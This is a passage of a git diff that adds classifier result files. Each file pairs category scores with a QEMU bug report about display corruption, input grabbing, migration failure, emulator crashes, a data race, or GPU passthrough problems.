corruption +Steps to reproduce: +1. install NEXTSTEP 3.3 for RISC computers +2. Boot to desktop (may need ctrl-c to skip some services at startup) +3. Select Info and watch for Workspace Manager info window to appear. +4. Move this window to the right - it corrupts! +Additional information: +Bug also exist if I boot qemu with -g 1024x768x24 + +Moving window vertically (up/down) does not corrupt it +Moving any window around corrupt it. + +Resizing and scrolling inside say Terminal emulators work. + +There was 86Box issue around one FPU instruction that looked a bit like this, +is there way to check fpu emulation? + + diff --git a/results/classifier/108/graphic/2680 b/results/classifier/108/graphic/2680 new file mode 100644 index 000000000..1ada1e512 --- /dev/null +++ b/results/classifier/108/graphic/2680 @@ -0,0 +1,29 @@ +graphic: 0.933 +device: 0.875 +performance: 0.822 +boot: 0.636 +semantic: 0.589 +permissions: 0.550 +vnc: 0.468 +debug: 0.465 +socket: 0.455 +PID: 0.455 +other: 0.332 +KVM: 0.165 +files: 0.116 +network: 0.105 + +GTK accelerators (including releasing input grab) don't work in keyboard layouts that utilize AltGr on Windows +Description of problem: +With a non-QWERTY (in my case, Colemak) layout active, it's not possible to ungrab input from the window using the Ctrl-Alt-G. The key combination is simply ignored, whether the G is typed using the physical key G on the keyboard or the one where it would be mapped by the keyboard layout (physical T key for Colemak). Thankfully, because of #2225, the mouse cursor isn't actually captured, which allows me to move the mouse outside the window and close QEMU from the taskbar instead. + +Temporarily switching back to a QWERTY layout before the grab happens allows input to be released using the key combo. However this needs to be done before the capture as otherwise QEMU will simply intercept any shortcuts to toggle the layout. + +I suspect there's some mismatch between the input grabbing code and the GTK UI, where one is using the keyboard scancode to determine when to forward the key, but the GTK UI then uses the mapped letter from the layout and fails to activate the shortcut. +Steps to reproduce: +1. Configure a non-QWERTY layout (such as Dvorak or Colemak) in the system settings +1. Launch QEMU (it's not necessary to load any guest, booting the BIOS is fine) +2. Click on the window which will automatically capture input +3. Try to release using the Ctrl-Shift-G shortcut (in either layout), which should be ignored +Additional information: + diff --git a/results/classifier/108/graphic/2720 b/results/classifier/108/graphic/2720 new file mode 100644 index 000000000..737e912a2 --- /dev/null +++ b/results/classifier/108/graphic/2720 @@ -0,0 +1,85 @@ +graphic: 0.929 +socket: 0.927 +semantic: 0.926 +device: 0.918 +network: 0.915 +permissions: 0.914 +boot: 0.913 +PID: 0.912 +debug: 0.904 +KVM: 0.895 +performance: 0.888 +files: 0.886 +other: 0.880 +vnc: 0.864 + +migration failure from qemu 7.1.0 to qemu 9.2.0+ with multifd capability enabled +Description of problem: +Enabling multifd when doing migration from qemu 7.1.0 to 9.2.0+ causes the migration to fail. +The migration status reported is: + +``` +Migration status: failed (Unable to write to socket: Broken pipe) +``` + +I could reproduce on qemu 9.2.0 and from a build from master. The migration is successful if I don't enable multifd. + +I could not reproduce this issue migrating from 7.1.0 to 9.1.2. +Steps to reproduce: +Minimal setup to reproduce below, running both qemu instances on the same host. + +1. Start qemu instance receiving the migration: + +``` +$ qemu-system-x86_64 -version +QEMU emulator version 9.2.50 (v9.2.0-28-ga5ba0a7e4e) + +$ qemu-system-x86_64 -M pc-q35-7.1 -m 16G -nographic -incoming defer -net none -trace 'migration*' +[...] +(qemu) migrate_set_capability multifd on +(qemu) migrate_set_parameter multifd-channels 4 +(qemu) migrate_incoming tcp:0:12345 +[...] +(qemu) migration_socket_incoming_accepted +migration_set_incoming_channel ioc=0x5619735b1800 ioctype=qio-channel-socket +migration_socket_incoming_accepted +migration_set_incoming_channel ioc=0x561972dff670 ioctype=qio-channel-socket +migration_socket_incoming_accepted +migration_set_incoming_channel ioc=0x561972dad800 ioctype=qio-channel-socket +migration_socket_incoming_accepted +migration_set_incoming_channel ioc=0x561972c9d670 ioctype=qio-channel-socket +migration_socket_incoming_accepted +migration_set_incoming_channel ioc=0x561972c7b270 ioctype=qio-channel-socket + +``` + +2. Start the qemu instance that will be used to initiate the migration with multifd enabled, and initiate the migration + +``` +$ qemu-system-x86_64 -version +QEMU emulator version 7.1.0 (v7.1.0) + +$ qemu-system-x86_64 -M pc-q35-7.1 -m 16G -nographic -net none -trace 'migration*' +[...] +(qemu) migrate_set_capability multifd on +(qemu) migrate_set_parameter multifd-channels 4 +(qemu) migrate -d tcp:0:12345 +(qemu) migration_socket_outgoing_connected hostname=0 +migration_set_outgoing_channel ioc=0x558ea2051400 ioctype=qio-channel-socket hostname=0 err=(nil) +migration_bitmap_sync_start +migration_bitmap_sync_end dirty_pages 0 +migration_thread_setup_complete +migration_bitmap_clear_dirty rb pc.ram start 0x0 size 0x40000000 page 0x0 +migration_thread_after_loop +qemu-system-x86_64: Unable to write to socket: Broken pipe +(qemu) info migrate +globals: +store-global-state: on +only-migratable: off +send-configuration: on +send-section-footer: on +decompress-error-check: on +clear-bitmap-shift: 18 +Migration status: failed (Unable to write to socket: Broken pipe) +total time: 0 ms +``` diff --git a/results/classifier/108/graphic/2723 b/results/classifier/108/graphic/2723 new file mode 100644 index 000000000..2436c690c --- /dev/null +++ b/results/classifier/108/graphic/2723 @@ -0,0 +1,38 @@ +graphic: 0.955 +semantic: 0.800 +vnc: 0.705 +boot: 0.662 +files: 0.569 +device: 0.555 +socket: 0.429 +PID: 0.330 +other: 0.275 +network: 0.271 +performance: 0.235 +debug: 0.228 +KVM: 0.217 +permissions: 0.150 + +qemu-system-sparc: nesqemu: fatal: Trap 0x29 (Data Access Error) while interrupts disabled +Description of problem: +It boots into the BIOS. I connect to the monitor on port 4444, and send "sendkey stop-a", and then in the main window (VNC session) I enter "boot disk1:d". It starts to load vmunix, and then crashes with:- + ``` +nesqemu: fatal: Trap 0x29 (Data Access Error) while interrupts disabled, Error state +pc: f00053dc npc: f00053e0 +%g0-7: 00000000 f00ee048 00000000 ffef0000 ffef9b6c f00e1000 00000000 ffefebc4 +%o0-7: 00008000 00008000 000000e0 feff8008 00001ff0 00000068 f00d7490 f0005c98 +%l0-7: 04800fc1 f0005d14 f0005d18 00000002 0000010f 00000002 00000007 f00d6f50 +%i0-7: 00008000 00008000 00000005 feff8008 00000000 00000000 f00d6ff8 f0005c98 +%f00: 0000000000000000 0000000000000000 0000000000000000 0000000000000000 +%f08: 0000000000000000 0000000000000000 0000000000000000 0000000000000000 +%f16: 0000000000000000 0000000000000000 0000000000000000 0000000000000000 +%f24: 0000000000000000 0000000000000000 0000000000000000 0000000000000000 +psr: 04000fc1 (icc: ---- SPE: SP-) wim: 00000002 +fsr: 00080000 y: 00000000 + +Aborted (core dumped) + ``` +Additional information: +md5sums (both files can be found online) +ede0690b3cb3d2abb6bddd8136912106 Solaris1_1_2.iso +6364e9a6f5368e2ecc4e9c1d915a93ae ss5.bin diff --git a/results/classifier/108/graphic/2729 b/results/classifier/108/graphic/2729 new file mode 100644 index 000000000..ba9f93933 --- /dev/null +++ b/results/classifier/108/graphic/2729 @@ -0,0 +1,89 @@ +graphic: 0.977 +debug: 0.952 +files: 0.924 +performance: 0.908 +semantic: 0.828 +other: 0.800 +device: 0.774 +PID: 0.766 +vnc: 0.743 +socket: 0.729 +boot: 0.710 +network: 0.709 +permissions: 0.655 +KVM: 0.621 + +qemu-system-aarch64 -M raspi4b -- no valid DTB provided in x0 register +Description of problem: +When starting `qemu-system-aarch64 -M raspi4b`, no valid DTB is provided in x0. +Steps to reproduce: +Make a simple binary to loop forever + +``` +$ cat loop.c +void _start(void) +{ + for(;;) + ; +} +$ aarch64-linux-gnu-gcc loop.c -nostdlib +$ aarch64-linux-gnu-objcopy -O binary a.out loop.bin +``` + +Start qemu for debugging and start gdb + +``` +$ qemu-system-aarch64 -S -s -M raspi4b -kernel loop.bin +# in another terminal +$ aarch64-linux-gnu-gdb +(gdb) target remote :1234 +Remote debugging using :1234 +warning: No executable has been specified and target does not support +determining executable automatically. Try using the "file" command. +0x0000000000000000 in ?? () +(gdb) watch *$x0 +Watchpoint 3: *$x0 +(gdb) watch $x0 +Watchpoint 4: $x0 +(gdb) x/2x$x0 +0x0: 0x580000c0 0xaa1f03e1 +(gdb) si + +Thread 1 hit Watchpoint 3: *$x0 + +Old value = 1476395200 +New value = 5 + +Thread 1 hit Watchpoint 4: $x0 + +Old value = 0 +New value = 256 +0x0000000000000004 in ?? () +(gdb) x/2x$x0 +0x100: 0x00000005 0x54410001 +(gdb) si +0x0000000000000008 in ?? () +(gdb) si +0x000000000000000c in ?? () +(gdb) si +0x000000000000000c in ?? () +(gdb) si +0x0000000000000010 in ?? () +(gdb) si +0x0000000000000014 in ?? () +(gdb) si +0x0000000000080000 in ?? () +(gdb) si +0x0000000000000200 in ?? () +(gdb) si +0x0000000000000200 in ?? () +(gdb) si +0x0000000000000200 in ?? () +(gdb) si +0x0000000000000200 in ?? () +(gdb) x/2x$x0 +0x100: 0x00000005 0x54410001 +(gdb) +``` + +Note that at no time is a valid DTB provided in x0. I expected to see the DTB magic 0xd00dfeed (or 0xedfe0dd0) at the memory pointed to by x0 diff --git a/results/classifier/108/graphic/2749 b/results/classifier/108/graphic/2749 new file mode 100644 index 000000000..a7009a6ee --- /dev/null +++ b/results/classifier/108/graphic/2749 @@ -0,0 +1,94 @@ +graphic: 0.921 +debug: 0.911 +KVM: 0.906 +permissions: 0.897 +other: 0.895 +socket: 0.889 +device: 0.886 +vnc: 0.885 +performance: 0.884 +semantic: 0.881 +PID: 0.880 +files: 0.806 +boot: 0.784 +network: 0.769 + +TSAN/RaceHunter data race on bh->flags in aio_compute_bh_timeout +Description of problem: +Switching the TSAN build for `test-aio-multithread` unit test reveals the data race on `bh->flags` in `aio_compute_bh_timeout`. + +The same data race can be found in the list of warnings in #851 and #1496. + +I investigated the data race and I can reproduce the same race with our tool RaceHunter on the test `tests/unit/test-thread-pool.c` where two accesses may happen simultaneously. It is not false alarm, because RaceHunter introduces the delay and catches both accesses exactly at the same time, not just predicting the race due to missing happens-before as TSAN does. + +``` +WARNING: SMC RaceHunter: Data race found: + read access from thread 0 [handle=0] at pc=0x55b851f660b9, addr=7b1000000168 (4 bytes) + #0 aio_compute_bh_timeout util/async.c:259:18 + #1 aio_compute_timeout util/async.c:282:15 + #2 aio_poll util/aio-posix.c:628:26 (test-thread-pool+0xa4223f) + #3 test_submit_aio tests/unit/test-thread-pool.c:70:9 + #4 main tests/unit/test-thread-pool.c + + Previous atomic write access from thread 4 [handle=4] at pc=0x55b851f65e24, addr=7b1000000168 (4 bytes) + #0 aio_bh_enqueue util/async.c:81:17 + #1 qemu_bh_schedule util/async.c:235:5 + #2 worker_thread util/thread-pool.c:118:9 + #3 qemu_thread_start util/qemu-thread-posix.c:543:9 +``` + +Both are accesses to `flags` in `BHList` (`bh->flags`) +The write access in `aio_bh_enqueue` is protected by atomic operation `qatomic_fetch_or` while second read access is not atomic and not protected by locks. + +The read access in `aio_compute_bh_timeout` seems to rely on RCU mechanism `QSLIST_FOREACH_RCU(bh, head, next)`, but in this case the writer should also use RCU protected assign. +Steps to reproduce: +1. configure --enable-tsan --cc=clang --cxx=clang++ --enable-trace-backends=ust --enable-fdt=system --disable-slirp +2. make check-unit test-aio-multithread +3. See the warning in the log +``` +WARNING: ThreadSanitizer: data race (pid=3514443) + Atomic write of size 4 at 0x7b1000000168 by thread T17: + #0 aio_bh_enqueue /home/mordan/qemu/build/../util/async.c:81:17 (test-thread-pool+0xa5e933) + #1 qemu_bh_schedule /home/mordan/qemu/build/../util/async.c:235:5 (test-thread-pool+0xa5e933) + #2 worker_thread /home/mordan/qemu/build/../util/thread-pool.c:118:9 (test-thread-pool+0xa66153) + #3 qemu_thread_start /home/mordan/qemu/build/../util/qemu-thread-posix.c:543:9 (test-thread-pool+0xa496c0) + + Previous read of size 4 at 0x7b1000000168 by main thread: + #0 aio_compute_bh_timeout /home/mordan/qemu/build/../util/async.c:259:18 (test-thread-pool+0xa5ebc8) + #1 aio_compute_timeout /home/mordan/qemu/build/../util/async.c:282:15 (test-thread-pool+0xa5ebc8) + #2 aio_poll /home/mordan/qemu/build/../util/aio-posix.c:628:26 (test-thread-pool+0xa42d4f) + #3 do_test_cancel /home/mordan/qemu/build/../tests/unit/test-thread-pool.c:199:9 (test-thread-pool+0x50f0e8) + #4 test_cancel_async /home/mordan/qemu/build/../tests/unit/test-thread-pool.c:230:5 (test-thread-pool+0x50ec01) + #5 <null> <null> (libglib-2.0.so.0+0x7daed) (BuildId: e845b8fd2f396872c036976626389ffc4f50c9c5) + #6 __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 (libc.so.6+0x29d8f) (BuildId: 490fef8403240c91833978d494d39e537409b92e) + + As if synchronized via sleep: + #0 nanosleep out/lib/clangrt-x86_64-unknown-linux-gnu/./out/lib/clangrt-x86_64-unknown-linux-gnu/./toolchain/llvm-project/compiler-rt/lib/tsan/rtl/tsan_interceptors_posix.cpp:365:3 (test-thread-pool+0x34507d) + #1 g_usleep <null> (libglib-2.0.so.0+0x7ff76) (BuildId: e845b8fd2f396872c036976626389ffc4f50c9c5) + #2 worker_thread /home/mordan/qemu/build/../util/thread-pool.c:111:15 (test-thread-pool+0xa66115) + #3 qemu_thread_start /home/mordan/qemu/build/../util/qemu-thread-posix.c:543:9 (test-thread-pool+0xa496c0) + + Location is heap block of size 56 at 0x7b1000000140 allocated by main thread: + #0 malloc out/lib/clangrt-x86_64-unknown-linux-gnu/./out/lib/clangrt-x86_64-unknown-linux-gnu/./toolchain/llvm-project/compiler-rt/lib/tsan/rtl/tsan_interceptors_posix.cpp:667:5 (test-thread-pool+0x346151) + #1 g_malloc <null> (libglib-2.0.so.0+0x5e738) (BuildId: e845b8fd2f396872c036976626389ffc4f50c9c5) + #2 thread_pool_init_one /home/mordan/qemu/build/../util/thread-pool.c:333:27 (test-thread-pool+0xa655c8) + #3 thread_pool_new /home/mordan/qemu/build/../util/thread-pool.c:348:5 (test-thread-pool+0xa655c8) + #4 aio_get_thread_pool /home/mordan/qemu/build/../util/async.c:441:28 (test-thread-pool+0xa5ed54) + #5 thread_pool_submit_aio /home/mordan/qemu/build/../util/thread-pool.c:246:24 (test-thread-pool+0xa64f0d) + #6 thread_pool_submit /home/mordan/qemu/build/../util/thread-pool.c:295:5 (test-thread-pool+0xa65362) + #7 test_submit /home/mordan/qemu/build/../tests/unit/test-thread-pool.c:49:5 (test-thread-pool+0x50e53f) + #8 <null> <null> (libglib-2.0.so.0+0x7daed) (BuildId: e845b8fd2f396872c036976626389ffc4f50c9c5) + #9 __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 (libc.so.6+0x29d8f) (BuildId: 490fef8403240c91833978d494d39e537409b92e) + + Thread T17 'worker' (tid=3514461, running) created by thread T16 at: + #0 pthread_create out/lib/clangrt-x86_64-unknown-linux-gnu/./out/lib/clangrt-x86_64-unknown-linux-gnu/./toolchain/llvm-project/compiler-rt/lib/tsan/rtl/tsan_interceptors_posix.cpp:1022:3 (test-thread-pool+0x34793d) + #1 qemu_thread_create /home/mordan/qemu/build/../util/qemu-thread-posix.c:583:11 (test-thread-pool+0xa49550) + #2 do_spawn_thread /home/mordan/qemu/build/../util/thread-pool.c:146:5 (test-thread-pool+0xa65f5e) + #3 worker_thread /home/mordan/qemu/build/../util/thread-pool.c:83:5 (test-thread-pool+0xa65f5e) + #4 qemu_thread_start /home/mordan/qemu/build/../util/qemu-thread-posix.c:543:9 (test-thread-pool+0xa496c0) + +SUMMARY: ThreadSanitizer: data race /home/mordan/qemu/build/../util/async.c:81:17 in aio_bh_enqueue +``` + + +@hreitz, @kmwolf, @bonzini Are there any other synchronization that was intended to ensure that the accesses do not happen simultaneously? diff --git a/results/classifier/108/graphic/2757 b/results/classifier/108/graphic/2757 new file mode 100644 index 000000000..fa6a5a6fa --- /dev/null +++ b/results/classifier/108/graphic/2757 @@ -0,0 +1,16 @@ +graphic: 0.960 +performance: 0.847 +device: 0.678 +other: 0.593 +network: 0.405 +boot: 0.346 +debug: 0.295 +PID: 0.232 +vnc: 0.150 +permissions: 0.121 +socket: 0.113 +semantic: 0.062 +files: 0.015 +KVM: 0.010 + +EGL can't handle multi plane textures diff --git a/results/classifier/108/graphic/2768 b/results/classifier/108/graphic/2768 new file mode 100644 index 000000000..a28d2cc75 --- /dev/null +++ b/results/classifier/108/graphic/2768 @@ -0,0 +1,31 @@ +graphic: 0.943 +device: 0.894 +performance: 0.843 +PID: 0.827 +files: 0.820 +semantic: 0.795 +debug: 0.700 +socket: 0.660 +boot: 0.541 +vnc: 0.513 +other: 0.511 +permissions: 0.505 +network: 0.494 +KVM: 0.109 + +PowerPC e200 duplicate register definitions +Description of problem: +Registers DSRR0 and DSRR1 defined twice in the `target/ppc/cpu_init.c`: + +- in the common [`register_BookE_sprs()`](https://gitlab.com/qemu-project/qemu/-/blob/master/target/ppc/cpu_init.c#L740-748) +- and specific [`init_proc_e200()`](https://gitlab.com/qemu-project/qemu/-/blob/master/target/ppc/cpu_init.c#L2735-2742) + +The second case should be removed. +Steps to reproduce: +1. run `qemu-system-ppc -cpu e200z5` +2. check output +``` +** +ERROR:../qemu-9.2.0/target/ppc/helper_regs.c:410:_spr_register: assertion failed: (spr->name == ((void *)0)) +Bail out! ERROR:../qemu-9.2.0/target/ppc/helper_regs.c:410:_spr_register: assertion failed: (spr->name == ((void *)0)) +``` diff --git a/results/classifier/108/graphic/2783 b/results/classifier/108/graphic/2783 new file mode 100644 index 000000000..36e7a63ab --- /dev/null +++ b/results/classifier/108/graphic/2783 @@ -0,0 +1,32 @@ +graphic: 0.932 +performance: 0.518 +device: 0.486 +semantic: 0.454 +boot: 0.370 +other: 0.340 +vnc: 0.140 +permissions: 0.120 +socket: 0.119 +debug: 0.115 +PID: 0.107 +network: 0.077 +files: 0.076 +KVM: 0.067 + +Cannot install a fresh Windows 7 32-bit guest with Q35 machine type (mouse and keyboard do not function, so cannot continue install) +Description of problem: +When trying to install Windows 7 32-bit via the official SP1 installation ISO, the machine boots the installer, but both keyboard and mouse do not function, so the installation cannot proceed. +Steps to reproduce: +1. Using virt-manager, create a new VM using the x86 version of the Windows 7 SP1 install ISO found here: https://archive.org/details/windows-7-professional-with-sp1-x64-dvd-iso +2. Select `Microsoft Windows 7` as the Operating System type, which uses Q35 as the machine type +3. Click Begin Installation +4. See the Windows 7 installer screen show up +5. Keyboard and mouse inputs don't work at all, mouse cursor also doesn't appear +Additional information: +I've tried using `Microsoft Windows XP` as the Operating System in virt-manager, which switches to i440FX as the machine type, and the issue doesn't appear: keyboard and mouse both work perfectly. But of course, it would be nice to use Q35 instead to get USB 3.0, PCI-E, etc. + + +Notice the lack of cursor in the screenshot above on Q35. + +When using a i440FX machine, the white Windows cursor will appear: + diff --git a/results/classifier/108/graphic/2806 b/results/classifier/108/graphic/2806 new file mode 100644 index 000000000..b3d8b111a --- /dev/null +++ b/results/classifier/108/graphic/2806 @@ -0,0 +1,24 @@ +graphic: 0.991 +device: 0.897 +files: 0.843 +debug: 0.759 +network: 0.723 +PID: 0.689 +permissions: 0.678 +performance: 0.640 +vnc: 0.635 +semantic: 0.628 +boot: 0.499 +socket: 0.486 +other: 0.332 +KVM: 0.015 + +Build from source failed on Arch Linux with target-list=arm-softmmu,arm-linux-user +Description of problem: +When I tried to build the latest QEMU version, the build process top at 'linking test-qos' +Steps to reproduce: +1. Clone the latest git version of QEMU +2. Configure --target-list=arm-softmmu,arm-linux-user +3. Make +Additional information: + diff --git a/results/classifier/108/graphic/2826 b/results/classifier/108/graphic/2826 new file mode 100644 index 000000000..6376ea388 --- /dev/null +++ b/results/classifier/108/graphic/2826 @@ -0,0 +1,24 @@ +graphic: 0.955 +device: 0.866 +semantic: 0.700 +boot: 0.689 +performance: 0.621 +debug: 0.557 +network: 0.553 +PID: 0.496 +files: 0.473 +other: 0.389 +vnc: 0.359 +permissions: 0.185 +socket: 0.093 +KVM: 0.002 + +The host PCI bridge disappeared on the big endian MIPS Malta machine +Description of problem: +The tests/avocado/linux_ssh_mips_malta.py test currently fails for the big endian machines. It tries to check for the PCI host bridge with ``lspci -d 11ab:4620``, but that does not show the expected output anymore -- it looks like the host bridge cannot be correctly discovered by the guest Linux kernel anymore. +Steps to reproduce: +1. Get the kernel and disk image from https://people.debian.org/~aurel32/qemu/mips/ +2. Boot the guest as described above. +3. lspci -d 11ab:4620 +Additional information: +This used to work fine before commit 145e2198d749ec09a405f1607a9932499b76f1eb , so this rework likely introduced the bug. Looking at the code that got removed there, I could see an additional check ``phb->config_reg & 0x00fff800`` that is not present in the new code anymore, so the space for the host bridge itself likely should not get swapped. Reverting 3d85c7c15fc7ce986cf1a8e73da1217228f35685 and 145e2198d749ec09a405f1607a9932499b76f1eb seems to fix the problem (at least on little endian hosts). diff --git a/results/classifier/108/graphic/2862 b/results/classifier/108/graphic/2862 new file mode 100644 index 000000000..3121a2d44 --- /dev/null +++ b/results/classifier/108/graphic/2862 @@ -0,0 +1,39 @@ +graphic: 0.942 +performance: 0.912 +vnc: 0.884 +PID: 0.870 +debug: 0.870 +device: 0.854 +files: 0.837 +KVM: 0.835 +network: 0.830 +socket: 0.818 +semantic: 0.818 +other: 0.791 +permissions: 0.752 +boot: 0.602 + +unable to complete install when i try to load into qemu +Description of problem: +when i load up a vm, i get the message Unable to complete install: 'internal error: process exited while connecting to monitor: 2025-03-14T01:54:54.436804Z qemu-system-aarch64: can't apply global host-arm-cpu.hv-relaxed=on: Property 'host-arm-cpu.hv-relaxed' not found' + +Traceback (most recent call last): + File "/usr/share/virt-manager/virtManager/asyncjob.py", line 72, in cb_wrapper + callback(asyncjob, *args, **kwargs) + File "/usr/share/virt-manager/virtManager/createvm.py", line 2008, in _do_async_install + installer.start_install(guest, meter=meter) + File "/usr/share/virt-manager/virtinst/install/installer.py", line 695, in start_install + domain = self._create_guest( + ^^^^^^^^^^^^^^^^^^^ + File "/usr/share/virt-manager/virtinst/install/installer.py", line 637, in _create_guest + domain = self.conn.createXML(initial_xml or final_xml, 0) + ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + File "/usr/lib/python3/dist-packages/libvirt.py", line 4481, in createXML + raise libvirtError('virDomainCreateXML() failed') +libvirt.libvirtError: internal error: process exited while connecting to monitor: 2025-03-14T01:54:54.436804Z qemu-system-aarch64: can't apply global host-arm-cpu.hv-relaxed=on: Property 'host-arm-cpu.hv-relaxed' not found. If it's important, vmm recognizes my windows 10 iso as a windows 11. +Steps to reproduce: +1.i just tried to use the vm. +2. +3. +Additional information: + diff --git a/results/classifier/108/graphic/2864 b/results/classifier/108/graphic/2864 new file mode 100644 index 000000000..d1196ccf1 --- /dev/null +++ b/results/classifier/108/graphic/2864 @@ -0,0 +1,24 @@ +graphic: 0.974 +device: 0.925 +boot: 0.903 +performance: 0.732 +semantic: 0.693 +other: 0.613 +permissions: 0.502 +debug: 0.494 +vnc: 0.489 +network: 0.467 +PID: 0.448 +socket: 0.426 +files: 0.148 +KVM: 0.008 + +qemu-system-ppc -M g3beige mouse/keyboard behave erraticaly at least since 9.0 +Description of problem: +Mouse behaves very erraticaly, seemingly clicks on its own, moves auto-opened terminal window to the left +Steps to reproduce: +1. Get helenOS from https://www.helenos.org/wiki/Download +2. Boot it (need 256 Mb) +3. Try to move mouse or type anything in Terminal +Additional information: +Seemingly same issue present on netBSD (booted on qemu 9.0.4 due to regression in qemu), and macos X/9 when booted on this machine or -M mac99,via=cuda diff --git a/results/classifier/108/graphic/2874 b/results/classifier/108/graphic/2874 new file mode 100644 index 000000000..ea77b8cbe --- /dev/null +++ b/results/classifier/108/graphic/2874 @@ -0,0 +1,24 @@ +graphic: 0.967 +device: 0.899 +performance: 0.762 +semantic: 0.672 +other: 0.646 +debug: 0.627 +network: 0.487 +permissions: 0.389 +PID: 0.382 +socket: 0.377 +vnc: 0.353 +boot: 0.330 +files: 0.300 +KVM: 0.107 + +AMD Ryzen 9950x with -smp option yields "warning: This family of AMD CPU doesn't support hyperthreading" +Description of problem: +When using the above -smp option (`-smp 32,sockets=1,dies=1,clusters=1,cores=16,threads=2`), which should be valid for the Ryzen 9950X 16 cores / 32 threads CPU, QEMU prints: +``` +qemu-system-x86_64: warning: This family of AMD CPU doesn't support hyperthreading(2). Please configure -smp options properly or try enabling topoext feature. +``` +This is unexpected. This CPU should support hyperthreading out of the box, it seems. +Steps to reproduce: +1. Run command above on Ryzen 9950X or similar CPU. diff --git a/results/classifier/108/graphic/2897 b/results/classifier/108/graphic/2897 new file mode 100644 index 000000000..5930a10f8 --- /dev/null +++ b/results/classifier/108/graphic/2897 @@ -0,0 +1,29 @@ +graphic: 0.966 +boot: 0.904 +device: 0.847 +performance: 0.677 +vnc: 0.667 +semantic: 0.640 +debug: 0.543 +network: 0.497 +PID: 0.430 +other: 0.314 +permissions: 0.261 +socket: 0.232 +files: 0.216 +KVM: 0.171 + +Can't boot SeaBIOS based VM when using -display gtk, works fine with vnc or sdl +Description of problem: +When using -display gtk, SeaBIOS hangs nondeterministicly. Changing to -display sdl or -display vnc lets it boot. +Steps to reproduce: +1. Run `qemu-system-x86_64 -display gtk` and the VM will not complete BIOS POST. +2. Run `qemu-system-x86_64 -display sdl` and the VM will complete BIOS POST. +Additional information: +This ONLY happens with SeaBIOS. Using a UEFI BIOS to boot the VM does not cause this issue. + +I realise this is a crazy bug. I suspect that the only way it could have slipped through testing is because it *requires* human interaction. + +There is no difference with using --accel kvm or not, but I have provided the smallest possible command line to duplicate the issue, which is literally just `qemu-system-x86_64 -display gtk` + +# diff --git a/results/classifier/108/graphic/2908 b/results/classifier/108/graphic/2908 new file mode 100644 index 000000000..5eb9d3a88 --- /dev/null +++ b/results/classifier/108/graphic/2908 @@ -0,0 +1,25 @@ +graphic: 0.989 +device: 0.962 +other: 0.934 +files: 0.918 +socket: 0.871 +semantic: 0.839 +performance: 0.835 +PID: 0.829 +network: 0.825 +vnc: 0.797 +permissions: 0.621 +boot: 0.613 +debug: 0.517 +KVM: 0.140 + +Display Output Not Sane After Driver Installation +Description of problem: +Using an S3 Diamond Stealth 3000 card through VFIO, after installing an official driver, either from the Windows disc or an updated download, the displayed output from the graphics card is not sane. +Additional information: +Driver: [https://theretroweb.com/expansioncards/s/diamond-stealth-3d-3000-pci#driver](https://theretroweb.com/expansioncards/s/diamond-stealth-3d-3000-pci#driver) +[https://diamond.retropc.se/driver/stealth/st3d3xx0/files.htm](https://diamond.retropc.se/driver/stealth/st3d3xx0/files.htm) + +Followed the instructions in the Readme. To install Standard VGA driver first then the Diamond 3000 driver. No change. It is not the only S3 card that I have tried that behaves like this. I have also used the bios rom downloaded directly from the card, again with no change. + +# diff --git a/results/classifier/108/graphic/2916 b/results/classifier/108/graphic/2916 new file mode 100644 index 000000000..2e42491fe --- /dev/null +++ b/results/classifier/108/graphic/2916 @@ -0,0 +1,41 @@ +graphic: 0.933 +other: 0.918 +device: 0.898 +performance: 0.881 +semantic: 0.875 +debug: 0.774 +network: 0.726 +permissions: 0.693 +PID: 0.618 +vnc: 0.598 +socket: 0.584 +boot: 0.352 +files: 0.281 +KVM: 0.267 + +qemu-system-arm hangs when attempting to enable MMU on Cortex-A7 +Description of problem: +QEMU 9.x.x+ hangs when attempting to do enable the MMU from SCTLRL - M bit: https://developer.arm.com/documentation/ddi0601/2025-03/AArch32-Registers/SCTLR--System-Control-Register + +The instruction that hangs is the writing of the SCTLR register: + +``` +mrc p15, 0, r0, c1, c0, 0 +orr r0, r0, 1 +mcr p15, 0, r0, c1, c0, 0 +``` + +I am attempting to enable unaligned accesses and SCTLR-A bit doesn't seem to have any effect if the SCTLR-M is not enabled. Doing an unaligned access on cortex-a7 should be supported but it always trigger a Fault. +Steps to reproduce: +1. add the mrc/orr/mcr instruction sequence in the ResetHandler +2. link the elf +3. attempt to execute it +Additional information: +The unaligned access looked like it was working in QEMU 8.x.x but it might not have been emulated(?). I also am facing the same issues with MCR hanging and unaligned access not supported with latest 10.0.0-RC2. + +When it hangs, QEMU has to be killed and terminal reset. + +There might be two separate issues here: + +1. writing SCTLR register +2. emulated cortex-a7 not supporting unaligned access (hardware supports it) diff --git a/results/classifier/108/graphic/2920 b/results/classifier/108/graphic/2920 new file mode 100644 index 000000000..15d3d43c0 --- /dev/null +++ b/results/classifier/108/graphic/2920 @@ -0,0 +1,27 @@ +graphic: 0.970 +performance: 0.962 +device: 0.895 +semantic: 0.613 +PID: 0.590 +permissions: 0.565 +vnc: 0.523 +boot: 0.462 +debug: 0.425 +socket: 0.391 +other: 0.322 +files: 0.305 +KVM: 0.233 +network: 0.062 + +VGA Passthrough I/O Lag on DOS (FreeDOS) System. +Description of problem: +VGA performance lags with passthrough when the OS is in graphics mode. It also seems to affect when key presses are registered with noticeable delay. +Steps to reproduce: +1. Install Doom (v1.9 Shareware.) +2. Run setup and disable sound. +3. Play game or watch demo. +Additional information: +I have tried multiple cards with no change in performance: + +**VGA compatible controller: S3 Graphics Ltd. 86c375 [ViRGE/DX] or 86c385 [ViRGE/GX] (rev 01) (prog-if 00 [VGA controller]) +VGA compatible controller: Advanced Micro Devices, Inc. [AMD/ATI] R480 [Radeon X800 GTO] (prog-if 00 [VGA controller])** diff --git a/results/classifier/108/graphic/2926 b/results/classifier/108/graphic/2926 new file mode 100644 index 000000000..34b38bc65 --- /dev/null +++ b/results/classifier/108/graphic/2926 @@ -0,0 +1,51 @@ +graphic: 0.978 +files: 0.948 +performance: 0.945 +KVM: 0.929 +PID: 0.899 +device: 0.885 +semantic: 0.818 +permissions: 0.775 +debug: 0.771 +socket: 0.715 +boot: 0.685 +network: 0.685 +vnc: 0.674 +other: 0.442 + +Excessive memory allocation on guest and host with gpu passthrough +Description of problem: +While gpu passthrough is enabled, the maximum amount of ram is allocated on the host (64 GB), even if the guest only has 8 GB configured as "currently allocated". +If I disable the physical gpu, the guest only takes the 8 GB. +Steps to reproduce: +1. Install qemu-kvm virt-manager 